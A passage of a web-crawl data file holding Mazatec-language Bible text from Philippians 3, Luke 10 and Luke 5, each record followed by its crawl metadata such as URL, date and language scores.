chjí‑la̱. Ngats'iì kjoa̱ koi, jyeé tsachrjenguia yije xi kjoa̱‑la̱ Cristo. Ta tjé beè takoàn mé‑ne nga ya̱ ma fìt'aà‑la̱ Cristo 9ko̱ mé‑ne nga ya̱ kóti̱jnakjoòkoa̱a. Nga kixi̱ óti̱jna nga nguixko̱n Nainá, mìtsà koi kjoa̱‑la̱ nga 'a̱n ndaà sìkitasoàn kjo̱tíxoma‑la̱ xi̱ta̱ judío, koi‑né nga mokjeiín‑na i̱t'aà ts'e̱ Cristo. Jè Nainá xi kixi̱ síkíjna‑na koií kjoa̱‑la̱ nga mokjeiín‑na. 10Mejèn‑na̱ nga ìsa̱ ndaà skoexkoan Cristo; skoeè nga'ñó xi tjín‑la̱ nga jaáya‑la̱ i̱t'aà ts'e̱ kjoa̱biyaà; kàtamajngoò kjo̱hítsjeèn‑na̱ ko̱ ts'e̱ Cristo koni s'ín komàt'in nga kisìkjeiín kjo̱'in skanda k'e̱ nga k'en, 11mé‑ne k'oa̱ ti̱s'ín kjoa̱áya‑na̱ i̱t'aà ts'e̱ kjoa̱biyaà koni s'ín jaáya‑la̱ Cristo. 12Mìtsà tsò‑ne kjoa̱ nga jye kjòngásòn yije‑na kjoa̱ koi. Kj'eè tsà nguì xi̱ta̱ kixi̱ 'mì‑na̱. Ta̱nga tífì tji̱ngui‑la̱ nga mejèn‑na nga ìsa̱ ndaà skoexkoan skanda kó nga ki̱jchò tji̱ngui‑la̱ mé kjoa̱‑ne nga ijchò tji̱ngui‑na̱ Cristo Jesús. 13Ndí 'ndsè, k'oa̱á s'ín machi̱ya‑na̱, kj'eè kiì bijchó tji̱ngui yije‑la̱ kjo̱ndaà xi tjín‑la̱ Cristo. Ta̱nga jngoò kjoa̱ tìs'iaàn, tìsìjchàajñaà yije kjoa̱ xi jye tsato, tíbínè‑la̱ yijo‑na̱ nga ki̱jchò tji̱ngui‑la̱ kjoa̱ xi sa̱ nchrobá. 14Tífì tji̱ngui‑la̱ skanda ñánda fehet'aà‑ne, mé‑ne nga tjoé‑na kjo̱tjò xi Nainá tsjá‑na nga xó kiìchja̱‑na Nainá ján ngajmiì nga Cristo Jesús tìjna̱koa̱a. 15Ngats'iaá xi jye ndaà mokjeiín‑ná i̱t'aà ts'e̱ Cristo, ngásòn ngáya k'oa̱s'ín si̱kítsjeén. Jñò, tsà mìkiì k'oa̱s'ín nìkítsjeèn, Nainá si̱ìkíchi̱yandaà‑nò. 16Ta̱nga mochjeén‑né nga k'oa̱s'ín si̱kitasoán koni kji jye machi̱ya‑ná skanda na̱chrjein i̱'ndei̱. 17Ndí 'ndsè, k'oa̱á s'ín ti̱jchá yijo‑nò koni s'ín tìsìjchá yijo‑na̱. Chjínguì‑là jñà xi̱ta̱ xi k'oa̱s'ín ndaà nchisíjchá yijo‑la̱ koni s'ín titsa̱'nè‑je̱n. 18Nga kjìn ma xi̱ta̱ xi tjíma xi kondra̱ fì tji̱ngui‑la̱ jè 'én xi tís'eno̱jmíya nga krò k'en‑t'aà Cristo. Kòkjìn k'a k'oa̱ xan‑nò; i̱'ndei̱ skanda ko̱ó ndáxkoaàn tìbìxteèn nga ìjngoò k'a k'oa̱ tìxan‑nò. 19Xi̱ta̱ koi, k'e̱ nga kjoe̱het'aà na̱chrjein‑la̱, kjo̱'iín si̱ìkjeiín ni̱ta̱ kjé‑ne. Ta koií ótsji kjoa̱ xi síjé yijo‑la̱ ko̱ mìtsà Nainá ótsji. 'Nga síkítsa̱jna yijo‑la̱ kjoa̱ xi tjínè‑la̱ nga ko̱sobà‑la̱. Tà koií síkítsjeèn kjoa̱ ts'e̱ i̱sò'nde. 20Ta̱nga jñá, ján i̱'nde‑ná ngajmiì. 'Ñó ndaà titsa̱chiñá‑lá nga ya̱ kji̱nchrobà‑ne jngoò xi ko̱chrjekàjiìn‑ná kjo̱'in, jè‑né Jesucristo xi otíxoma‑ná. 21Jè si̱ìkjatjìya‑la̱ yijo ni'nde‑ná; k'oa̱á kji ko̱ma koni kji ts'e̱ jè, nga jeya kji. Jè si̱ìkjeén nga'ñó xi tjín‑la̱ nga jè otíxoma yije‑la̱ ni̱ta̱ mé xi tjín.\nFilipenses 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Phil\/3","date":"2013-12-05T15:48:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163046799\/warc\/CC-MAIN-20131204131726-00053-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000085830688477}","num_words":610,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.269,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga jye komà kjoa̱ koi, Na̱'èn‑ná Jesús kitsjaà‑la̱ xá nguì jàn‑kaàn ko̱ te xi̱ta̱ xi kj'ei̱í. Jò jò kisìkasén ítjòn nga kjijndà na̱xa̱ndá ko̱ i̱'nde ñánda nga ìsa̱ i̱skan kjoi̱ jè. 2Kitsò‑la̱: ―Xi o̱kixi̱, 'ñó tse xá tjín xi i̱t'aà ts'e̱ 'Én‑la̱ Nainá koni s'ín ma k'e̱ nga kjìn tsojmì majchá, ta̱nga jñà xi̱ta̱ chi̱'nda xi síxá, chiba ma‑ne. Tìtsi'ba‑là jè Nei‑la̱ xá, kàtasíkasén‑ìsa xi̱ta̱ chi̱'nda xi koi̱ìxkó tsojmì koi. 3Tanguió; 'a̱án siìkasén‑nò koni orrè ki'ndí ya̱ i̱jiìn‑la̱ cho̱ tse̱jén. 4Kì chijtsa to̱n ch'aà, kì naxá na̱'yaá ch'aà, ni̱ xo̱xté tsjayaà; ti̱koa̱á mìkiì yá xi̱ta̱ xi nìhixat'aà ya̱ i̱ya ndi̱yá. 5Ni̱ta̱ ñánda ni'ya nga ki̱tjás'e̱en, ítjòn k'oa̱ tixón: \"'Nchán kàtas'e ni'ya jè.\" 6Ni'ya jè, tsà tjín xi̱ta̱ xi ok'ìn‑la̱ nga s'e̱‑la̱ kjoa̱'nchán, ki̱tasòn‑né; tsà majìn, mìkiì ki̱tasòn. 7Ti̱tsa̱jna ya̱ ni'ya ñánda ki̱tjás'e̱en; kì xki̱ xi ján ni'ya onguió; chi̱ne̱e, t'io̱o mé tsojmì xi tsjá‑nò. Jè xi̱ta̱ xi síxá mochjeén‑né nga k'oi̱‑la̱ chjí‑la̱. 8K'e̱ nga kijchoò jngoò na̱xa̱ndá ñánda tsjá'nde‑nò, chi̱ne̱e mé tsojmì xi tsjá‑nò. 9Tsà tjín xi̱ta̱ xi xk'én, ti̱ndaà‑nò; koa̱tìn‑là: \"Jye kjòchrañàt'aà‑nò nga jcha̱a kó s'ín otíxoma Nainá.\" 10Tsà jngoò na̱xa̱ndá ñánda kijchoò, tsà mìkiì tsjá'nde‑nò, ti̱tjáyaà ndi̱yá, koa̱tìn‑là: 11\"Skanda jè chijo‑la̱ na̱xa̱ndá‑nò xi kàtsobà'ñó ndso̱koò‑je̱n, kítsajneè‑nòje̱n koni jngoò seña nga mì ti̱ kiì si̱s'in‑nòje̱n. Ta̱nga kàtasijiìn‑nò nga jye kjòchrañàt'aà‑nò nga jcha̱a kó s'ín otíxoma Nainá.\" 12K'oa̱á xán‑nò, na̱xa̱ndá jè, ìsa̱á tse kjo̱'in s'e̱‑la̱ jè na̱chrjein k'e̱ nga si̱ndaàjiìn‑la̱ xi̱ta̱, mì k'oa̱á‑ne koni jñà xi̱ta̱ ts'e̱ na̱xa̱ndá Sodoma. 13'¡I̱ma̱ xó‑nò jñò, xi̱ta̱ na̱xa̱ndá Corazín! ¡I̱ma̱ xó‑nò jñò, xi̱ta̱ na̱xa̱ndá Betsaida! Tsà ya̱‑làne na̱xa̱ndá Tiro ko̱ Sidón nga k'oa̱s'ín kis'iaàn kjo̱xkón xi ndaà tjín xi komà ya̱ i̱jiìn na̱xa̱ndá tsa̱jòn, tsà jñà xi̱ta̱ Tiro ko̱ Sidón kijtseè, jyeé‑la nikje naxá íkjá ko̱ chijo ni'ín títsa̱jiìn koni seña nga jye kisìkájno jé‑la̱ nga mì ti̱ jé ótsji‑ne. 14Ta̱nga jè na̱chrjein nga si̱ndaàjiìn, ìsa̱á tse kjo̱'in s'e̱‑nò mì k'oa̱á‑ne koni jñà xi̱ta̱ na̱xa̱ndá Tiro ko̱ Sidón. 15Jñò xi xi̱ta̱ na̱xa̱ndá Capernaum tsa̱jòn, ¿a k'oa̱á s'ín mokjeiín‑nò nga jcha̱xkón‑nò ján ngajmiì? Majìn, ya̱á ki̱tsa̱jnajñoò i̱'nde ñánda tjín kjo̱'in. 16'Jè xi 'nchré‑nò, 'a̱án xi 'nchré‑na; jè xi ko̱chrjengui‑nò, 'a̱án xi ochrjengui‑na; jè xi ko̱chrjengui‑na, jè ochrjengui xi kisìkasén‑na. 17J'iì‑ne jñà xi̱ta̱ xi jàn‑kaàn ko̱ te ma‑ne. 'Ñó tsja tjín‑la̱, kitsò: ―Na̱'èn, xi i̱t'aà tsi̱ji, skanda jñà ini̱ma̱ ch'o‑la̱ nei̱í síkitasòn‑naje̱n. 18Jesús kitsò‑la̱: ―Kixi̱í kjoa̱, kìjtseè‑ná jè xi̱ta̱ nei̱í koni kji ni'ín ch'o̱ón kji nga kiskaàngui i̱t'aà ngajmiì. 19'A̱n, jyeé kitsjaà‑nò kjo̱tíxoma ko̱ nga'ñó nga ko̱ma ki̱nchanè ye̱ ko̱ cho̱ na'yá, nga si̱kijneè‑là ngats'iì nga'ñó‑la̱ xi̱ta̱ nei̱í xi kondra̱ tsa̱jòn; ni̱mé xi ch'o si̱ìko̱‑nò. 20Ta̱nga kì matsja‑nò nga jè ini̱ma̱ ch'o‑la̱ xi̱ta̱ nei̱í síkitasòn‑nò; jè xi kàtatsja‑nò nga jye tjín‑nò i̱'nde ján ngajmiì nga jyeé ya̱ tjít'aà 'ín‑nò. 21Ti̱jè‑ne hora, Jesús, tsjaá komà‑la̱ xi i̱t'aà ts'e̱ Ini̱ma̱ Tsjeè‑la̱ Nainá; kitsò: ―Na̱'èn, xi tsi̱ji ngajmiì ko̱ tsi̱ji i̱sò'nde, tsjaà‑lè kjo̱ndaà nga jñà kjoa̱ koi tsibì'ma‑la̱ jñà xi̱ta̱ xi tjín‑la̱ kjoa̱chji̱ne̱ ko̱ xi 'ñó tjín‑la̱ kjo̱hítsjeèn nga jñà tsakoò‑la̱ xi ta̱xki̱ ndí xi̱ta̱ i̱ma̱ kjoa̱. Jon, Na̱'èn, nga k'oa̱á s'ín kjòmejèn‑lè. 22'Ngats'iì kjoa̱ ts'e̱ kjo̱tíxoma, 'a̱án kisìnga̱tsja‑na Na̱'èn‑na̱. Mìtsà yá xi beèxkon yá‑né xi Ki'ndí‑la̱ ma, ta̱jngoò jè xi Na̱'èn ma; ti̱koa̱á mìtsà yá xi beèxkon yá‑né xi Na̱'èn ma, ta̱jngoò jè xi Ki'ndí‑la̱ beèxkon, ko̱ jè Ki'ndí‑la̱ ko̱kò‑la̱ jñà xi̱ta̱ xi jè mejèn‑la̱ nga skoe̱xkon, yá‑né xi Na̱'èn ma. 23Jesús kisìkáfaya'a xi̱ta̱ xi kota'yàt'aà‑la̱, tà jñà kiìchja̱t'aà xìn‑la̱, kitsò‑la̱: ―Mé tà ndaà‑la̱ jñà xi̱ta̱ xi xko̱n nchibeè‑ne koni s'ín titsa̱'yaà jñò. 24K'oa̱á xán‑nò, kjìn xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá, ti̱koa̱ kjìn xi̱ta̱xá ítjòn xi kjòmejèn‑la̱ nga skoe̱ jè kjoa̱ xi jñò titsa̱'yaà, ta̱nga mìkiì kijtseè; ti̱koa̱á kjòmejèn‑la̱ nga kji̱'nchré jè xi titsa̱na'yà, ta̱nga mìkiì kiì'nchré. 25Jngoò xi̱ta̱ chji̱ne̱ xo̱jo̱n ts'e̱ kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés kiìkon Jesús nga mejèn‑la̱ skóna̱cha̱n‑la̱, kitsò: ―Maestro, ¿mé kjo̱ndaà xi s'iaàn nga kíjnakon ini̱ma̱‑na̱ ni̱ta̱ mé na̱chrjein‑ne? 26Jesús kitsò‑la̱: ―¿Mé xi tjít'aà jè xo̱jo̱n ts'e̱ kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés? ¿Kó tsò xi bìxke̱jiìn? 27Jè xi̱ta̱ chji̱ne̱ xo̱jo̱n kitsò: ―\"Ti̱tsjachi Na̱'èn‑ná xi Nainá 'mì‑la̱ nga ko̱ ini̱ma̱‑lè, ko̱ nga'ñó‑lè, ko̱ kjo̱hítsjeèn‑lè; koa̱ ti̱s'ín ti̱tsjachi xi̱ta̱ xingui̱i koni tsà ti̱ yijo tsi̱ji‑ne.\" 28Jesús kitsò‑la̱: ―Ndaà kànokjoì. Tsà k'oa̱s'ín s'i̱in, ki̱jnakon‑né. 29Jè xi̱ta̱ chji̱ne̱ xo̱jo̱n mejèn‑la̱ nga ndaà si̱ìkíjna yijo‑la̱ 'én xi kiskònangui; ìjngoò k'a kiskònangui‑la̱ Jesús, kitsò: ―¿Yá‑né xi xi̱ta̱ xinguia̱a? 30Jesús kitsò: ―Jngoò xi̱ta̱ tífìjen ján ndi̱yá Jerusalén skanda Jericó. Ya̱ i̱ya ndi̱yá tsibíchjoà‑la̱ xi̱ta̱ chijé. Tsafaá'an tsojmì‑la̱ ko̱ nikje‑la̱. 'Ñó kisìki'on. I̱kjoàn ya̱á kisìkájna k'en ya̱ i̱ya ndi̱yá. 31Ti̱jè‑ne ndi̱yá, k'e̱ chi̱ba̱‑la̱ jahajen jngoò no̱'miì, ta̱nga k'e̱ nga kijtseèxkon nga ya̱ kjinaya ndi̱yá xi̱ta̱ xi kitsì'on, tà jahat'aà xìn‑la̱. 32Ti̱k'e̱é‑ne ja jngoò xi̱ta̱ levita [xi i̱ya i̱ngo̱ síxá] k'oa̱á ti̱ kis'iìn k'e̱ nga kijtseèxkon xi̱ta̱ jè nga kjinaya ndi̱yá; ti̱koa̱á tà jahat'aà xìn‑la̱. 33Ta̱nga k'e̱ nga ijchò jngoò xi̱ta̱ Samaria [xi xi̱ta̱ kondra̱‑la̱ xi̱ta̱ judío] nga koa̱ ti̱s'ín tífì ndi̱yá jè, k'e̱ nga kijtseèxkon, kjòhi̱ma̱keè‑né. 34Kiì kasìt'aà chrañà‑la̱. Kisìxkiì‑la̱; kisìkaàjno asìti̱ ko̱ xán ñánda kitiì‑la̱. I̱kjoàn tsibíjtéjiìn; kisìkíjnasòn‑la̱ kohòyo̱‑la̱; kiìko̱ jngoò ni'ya ñánda nga ma nìkjáyaá. Jè kisìkinda̱. 35Xi komà inchijòn k'e̱ nga jye tífì‑ne jè xi̱ta̱ Samaria, tsibíchjí‑la̱ nei‑la̱ ni'ya, kitsjaà‑la̱ to̱n koni tjín chjí‑la̱ chi̱'nda xi jò na̱chrjein; kitsò‑la̱: \"Ti̱kinda̱‑ná xi̱ta̱ jè. K'e̱ nga kjoi̱ ìjngoò k'a‑na kíchjiá tsà ìsa̱ tse si̱ìkje.\" 36Ngaji̱, ¿kó si? Ingajàn xi̱ta̱ koi, ¿yá‑né xi xíkjín jè xi̱ta̱ xi kisìki'on chijé? 37Jè xi̱ta̱ chji̱ne̱ xo̱jo̱n kitsò: ―Jè xi xíkjín, jè xi̱ta̱ xi kjòhi̱ma̱keè. Jesús kitsò‑la̱: ―Ngaji̱, k'oa̱á ti̱s'ín t'i̱in. 38Jesús k'e̱ nga tjímaya‑ìsa i̱ya ndi̱yá, ijchò jngoò ndí na̱xa̱ndá jtobá ñánda tíjna ni'ya‑la̱ chjo̱ón xi 'mì Marta. Ya̱á kitsjaà'nde‑la̱ nga tsibìjna. 39Jè Marta tíjna ìjngoò‑ìsa chjo̱ón ndichja xi 'mì María. Jè María tsibìjnat'aà ndso̱ko̱ Jesús nga kiì'nchré‑la̱ 'én xi tíbéno̱jmí. 40Ta̱nga jè Marta, 'ñó tísíkájno xá xi tjín‑la̱. Kiì kasìt'aà‑la̱ Jesús, kitsò‑la̱: ―Na̱'èn, ¿a mì makájno‑lè nga jè xinguia̱a ta̱jngoò síkíjna‑na nga s'iaàn xá? Ko̱t'ìn‑la̱ kàtasíchját'aà‑na. 41Jesús kiìchja̱ kitsò‑la̱: ―Marta, Marta, tsí ndaà nìkájnoi, tsí ndaà bìnè‑la̱ xá yijo‑lè. 42Tà jngoò kjoa̱ xi 'ñó mochjeén. Jè María ndaà tjín xi kòfaájiìn; ni̱yá xi kjoa̱áxìn‑la̱ kjoa̱ jè.\nSan Lucas 10","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Luke\/10","date":"2013-12-04T18:28:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163036037\/warc\/CC-MAIN-20131204131716-00025-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000079870224}","num_words":986,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.297,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jesús k'e̱ nga síjna ya̱ i̱ndiì ndáchikon ts'e̱ Genesaret kjòjtínè jñà xi̱ta̱ xi ijchò nga mejèn‑la̱ kji̱'nchré 'én‑la̱ Nainá. 2Jesús, kijtseè jò chitso xi ya̱ kjioòndiì ya̱ i̱ndiì nandá. Jñà xi̱ta̱ nei‑la̱ xi bíxkóya ti̱n, jyeé itjojen chitso nga nchihoníjno na̱'ya‑la̱. 3Jesús jahas'en jngoò chitso xi ts'e̱ Simón, tsibítsi'ba‑la̱ nga ski̱nìkjá‑ìsa chitso‑la̱ ya̱ i̱jiìn ndáchikon. I̱kjoàn tsibìjnaya nga tsakóya‑la̱ xi̱ta̱. 4K'e̱ nga jye tsakóya‑la̱ xi̱ta̱, kitsò‑la̱ Simón: ―Tikoi̱i chitso‑lè ñánda nga ìsa̱ 'ñó na̱nga̱ nandá; i̱kjoàn ti̱katje̱n‑ngui‑ndá na̱'ya‑nò mé‑ne nga kíxkóya‑nò ti̱n. 5Simón kiìchja̱ kitsò: ―Maestro, kànìk'a‑náje̱n ni̱tje̱n nga kànìxá‑je̱n, ni̱mé xi kàsakó‑naje̱n; ta̱nga tsà ji̱ xi o̱si nga siìkatje̱n‑ngui‑ndá na̱'ya‑na̱, ko̱ma‑né. 6K'e̱ nga ìjngoò k'a kisìkatje̱n‑ngui‑ndá na̱'ya‑la̱, kjìn jchán ti̱n tsibíxkóya, tsí mejèn xajndà na̱'ya‑la̱. 7K'e̱é kisìkatjiì‑la̱ tsja xíkjín nga kiìchja̱‑la̱ jñà xi̱ta̱ xi títsa̱ya chitso xi ìjngoò mé ne nga kisìchját'aà‑la̱. Ingajò chitso jngoò k'a kitseè ti̱n. Mejèn tsà bixòngui‑ndá nga 'ñó i'í komà. 8Jè Simón xi ti̱koa̱ Pedro 'mì, k'e̱ nga kijtseè kjoa̱ koi, tsasèn‑xkó'nchit'aà‑la̱ Jesús, kitsò‑la̱: ―¡Ti̱si̱t'aàxìn‑ná Na̱'èn, 'a̱n xi̱ta̱ jé‑ná! 9Jè Simón ko̱ xi̱ta̱ xíkjín xi ta̱ña síxákjoò, tà kjòxkón‑la̱ nga 'ñó kjìn ti̱n kjòxkóya‑la̱. 10Ti̱koa̱á tà kjòxkón‑la̱ jè Jacobo ko̱ Juan, i̱xti‑la̱ Zebedeo, jñà xi̱ta̱ xi ta̱ña síxákjoò Simón. Jesús kitsò‑la̱ Simón: ―Kì tsakjoòn‑jèn, i̱'ndei̱ mì ti̱ kiì ti̱n kíxkóya‑ne, xi̱ta̱á kíxkóyi xi i̱t'aà ts'a̱n. 11K'e̱ nga jye kiìko̱‑ne chitso‑la̱ ya̱ i̱ndiì ndáchikon, ya̱á kitsjeiìn‑takòn yije tsojmì‑la̱, i̱kjoàn kiìtji̱ngui‑la̱ Jesús. 12Jesús k'e̱ nga tsibìjna jngoò na̱xa̱ndá, ijchò jngoò xi̱ta̱ x'i̱n xi tíbindojno chrjoa̱ yijo‑la̱; nga kijtseè Jesús, tsohojna‑ñiat'aà nangui nga kijtseèxkón Jesús, tsibítsi'ba‑la̱, kitsò‑la̱: ―Na̱'èn, tsà mejèn‑lè, ti̱tsjeè‑ná ch'in xi tjín‑na. 13Jesús tsijmeé tsja nga tsohót'aà‑la̱ yijo‑la̱ xi̱ta̱ jè, kitsò‑la̱: ―Mejèn‑na; ¡kàtandaà‑ne! Xi̱ta̱ jè, ni̱to̱ón kjòndaà‑ne. 14Jè Jesús kitsò‑la̱: ―Kì yá xi̱ta̱ xi bèno̱jmí‑la̱; t'in ñánda tíjna no̱'miì; ta̱kó‑la̱ yijo‑lè nga jye kjòndaà‑ne; tjiì‑la̱ kjo̱tjò xi síjé kjo̱tíxoma‑la̱ Moisés mé‑ne nga tsjeè kijna‑ne nguixko̱n Nainá ti̱koa̱ skoe̱ jñà xi̱ta̱ nga jye kjòndaà‑ne ch'in‑lè. 15Ta̱nga Jesús, ìsa̱á 'ñó kina'yà‑ìsa‑la̱; ko̱ ìsa̱á kjìn xi̱ta̱ kjòxkóya xi mejèn‑la̱ nga kji̱'nchré‑la̱; ti̱koa̱ mejèn‑la̱ nga ko̱ndaà‑ne ch'in xi tjín‑la̱. 16Ta̱nga Jesús xìn i̱'nde fì ñánda tsjìn xi̱ta̱ nga chja̱t'aà‑la̱ Nainá. 17Jngoò na̱chrjein k'e̱ nga tíhokóya‑la̱ xi̱ta̱ Jesús, ya̱ títsa̱jnajiìn xi̱ta̱ fariseo ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés. Xi̱ta̱ koi, ján inchrobà‑ne na̱xa̱ndá xi chja̱‑ne Galilea, Judea ko̱ Jerusalén. Jesús ya̱ tíjnajiìn ini̱ma̱‑la̱ nga'ñó‑la̱ Nainá nga si̱ìndaà‑ne ngats'iì xi̱ta̱ xi xk'én. 18J'iìko̱ jngoò xi̱ta̱ xk'én xi mìkiì ma síhiníyá yijo‑la̱; kjiya‑la̱ na̱chan‑yá. Tsohótsji'nde‑la̱ kó s'ín si̱ìkas'en xotjoa̱ ni'ya ya̱ ñánda tíjna Jesús. 19Ta̱nga mìkiì komà jahas'en ni'ya nga 'ñó kjìn xi̱ta̱ títsa̱jna; k'e̱é tsijin i̱sò'nga ni'ya; jaàxìn nitja; kiskinìjen‑jiìn‑la̱ xi̱ta̱ koni s'ín kjiya na̱chan‑yá‑la̱ jè xi̱ta̱ xk'én. Ya̱á tsohójna nguixko̱n ñánda tíjna Jesús. 20Jesús k'e̱ nga kijtseè nga mokjeiín‑la̱ i̱t'aà ts'e̱, kitsò‑la̱ jè xi̱ta̱ xk'én: ―Ngaji̱, jyeé kàchàat'aà‑lè jé‑lè. 21Jñà xi̱ta̱ fariseo ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés tsohóko̱ ini̱ma̱‑la̱, kitsò: \"Xi̱ta̱ jè, chja̱jno‑la̱ Nainá koni s'ín tsò. ¿Yá‑né jè nga ma‑la̱ síjchàat'aà‑ná jé‑ná? Ta̱jngoò Nainá xi síjchàat'aà‑ná jé‑ná.\" 22Jesús kijtseèya‑la̱ koni s'ín nchisíkítsjeèn; kiìchja̱, kitsò‑la̱: ―¿Mé‑ne ko̱tsò‑ne ini̱ma̱‑nò? 23¿Mé xi ìsa̱ chiba 'in tjín, tsà xán‑la̱ jè xi̱ta̱ xi xk'én: \"Jé‑lè jyeé kichàat'aà‑lè\", ko̱ tsà xán‑la̱: \"Ti̱sítji̱in koa̱ ti̱tjeí\"? 24Kokoò‑nò nga 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, tjí'nde‑na nga sìjchàat'aà‑la̱ jé‑la̱ xi̱ta̱ i̱ i̱sò'nde. Jè Jesús k'e̱é kitsò‑la̱ jè xi̱ta̱ xi mìkiì ma síkjaníyá: ―Ji̱, k'oa̱á xan‑lè, ti̱sítji̱in, chjoí na̱chan‑lè, t'in‑ne ni'ya‑lè. 25Jè xi̱ta̱ xk'én ni̱to̱ón tsasítje̱n nga nguixko̱n ngats'iì xi̱ta̱ xi ya̱ títsa̱jna; kiskoé na̱chan‑la̱ xi kijnasòn; k'e̱ nga tífì‑ne ni'ya‑la̱, jeya chja̱t'aà‑la̱ Nainá. 26Ngats'iì xi̱ta̱ xi ya̱ títsa̱jna tà kjòxkón‑la̱, ti̱koa̱á jeya kiìchja̱t'aà‑la̱ Nainá. Tsakjón‑ko̱‑ne, kitsò: ―I̱'ndei̱ kàyaxkon jngoaá kjo̱xkón. 27K'e̱ nga jye o̱s'ín komà kjoa̱ koi, itjo Jesús, kiì; k'e̱é kijtseè jngoò xi̱ta̱ xi 'mì Leví, xi̱ta̱‑la̱ xi̱ta̱xá Roma xi síkíchjítjì tsojmì. Tíjnat'aà ími̱xa̱ ya̱ ñánda síkíchjítjì tsojmì ts'e̱ Roma. Jesús kitsò‑la̱: ―Nchrobátji̱ngui‑ná. 28Leví, tsasítje̱n; kisìkítsa̱jna yije tsojmì xi tjín‑la̱; kiìtji̱ngui‑la̱ Jesús. 29Leví, ya̱ ni'ya‑la̱, tsí ndaà kis'iìn‑la̱ s'eí Jesús. Ti̱koa̱á kjìn xi̱ta̱ xíkjín títsa̱jna xi ti̱koa̱ tsojmì síkíchjítjì, ko̱ xi̱ta̱ xi kj'ei̱í; títsa̱t'aà ími̱xa̱. 30Jñà xi̱ta̱ fariseo ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés tsatít'aà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús, kitsò‑la̱: ―¿Mé‑ne jñà xi̱ta̱ xi síkíchjítjì tsojmì, ko̱ xi tjín‑la̱ jé, 'yò‑ko̱o koa̱ bichi‑ko̱o? 31K'e̱é kiìchja̱ Jesús kitsò: ―Jñà xi̱ta̱ xi mìtsà ch'in tjín‑la̱ mìtsà chji̱ne̱ xkiì mochjeén‑la̱, tà jñà xi̱ta̱ xi xk'én xi mochjeén‑la̱ chji̱ne̱ xkiì. 32Mìtsà koi xá j'i̱‑na 'a̱n nga j'i̱kjaàjñaà xi̱ta̱ kixi̱, jñà‑né xi̱ta̱ xi tjín‑la̱ jé nga kàtasíkájno jé‑la̱ nga mì ti̱ jé ko̱hótsji‑ne. 33Jñà xi̱ta̱ kitsò‑la̱ Jesús: ―¿Mé‑ne jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Juan tsí ndaà bìtsa̱jnachjan ti̱koa̱ tsí ndaà bítsi'ba; k'oa̱á ti̱s'ín jñà xi̱ta̱ fariseo; ta̱nga jñà xi̱ta̱ tsi̱ji, kjèn‑né koa̱ 'biì‑né? 34Jesús kitsò‑la̱: ―K'e̱ nga bixan jngoò xi̱ta̱, ¿a ko̱maá si̱kítsa̱jnachjaán xi̱ta̱ xi báhijtako̱‑ná k'e̱ nga tákó tíjna xi̱ta̱ x'i̱n xi kòbixan? 35Ta̱nga ki̱jchò na̱chrjein nga tjáxìn‑la̱ x'i̱n xi kòbixan, k'e̱‑né nga kítsa̱jnachjan xi̱ta̱. 36Ti̱koa̱á tsibéno̱jmí jngoò‑la̱ 'én xi mangásòn [nga tsakóya‑la̱ nga jñà kjo̱tíxoma jchínga, mìkiì sasén‑la̱ xi kjo̱tíxoma xi̱tse̱]. Kitsò‑la̱: ―Mìtsà yá xi ote chiba nikje xi̱tse̱ nga bíjto‑ne ko̱ nikje i̱baà. Tsà ko̱s'ín s'e̱en ki̱ts'ón nikje xi̱tse̱; ti̱koa̱á mìkiì ndaà ko̱ngásòn nikje xi̱tse̱ ko̱ nikje i̱baà. 37Ti̱koa̱á mìtsà yá xi binchá xán ixiì chrjoa̱ jchínga; tsà ko̱s'ín s'e̱en, k'e̱ nga jye ko̱jchá xán, si̱ìxajndà chrjoa̱ jchínga, i̱kjoàn xíxteèn xán; ti̱koa̱á chi̱ja jè chrjoa̱. 38Jè xán ixiì, chrjoa̱ xi̱tse̱é sinchá mé‑ne nga ndaà si̱nchátjò‑ne. 39Tsà yá xi skoí xán jchínga xi kjòtseé jncha, mìkiì ni̱to̱n si̱ìjé ìjngoò k'a xi xán ixiì. Ki̱tso̱‑né: \"Jè xán jchínga, ìsa̱á ndaà.\"\nSan Lucas 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Luke\/5","date":"2013-12-06T02:17:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163049020\/warc\/CC-MAIN-20131204131729-00079-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.0000077486038208}","num_words":900,"character_repetition_ratio":0.063,"word_repetition_ratio":0.009,"special_characters_ratio":0.228,"stopwords_ratio":0.297,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Koni 'sín batéxoma jè ra tíjna ngajmi, 'koa̱á 'sín mangásòn‑ko̱ koni jè xi̱ta̱ ra tjín‑la̱ 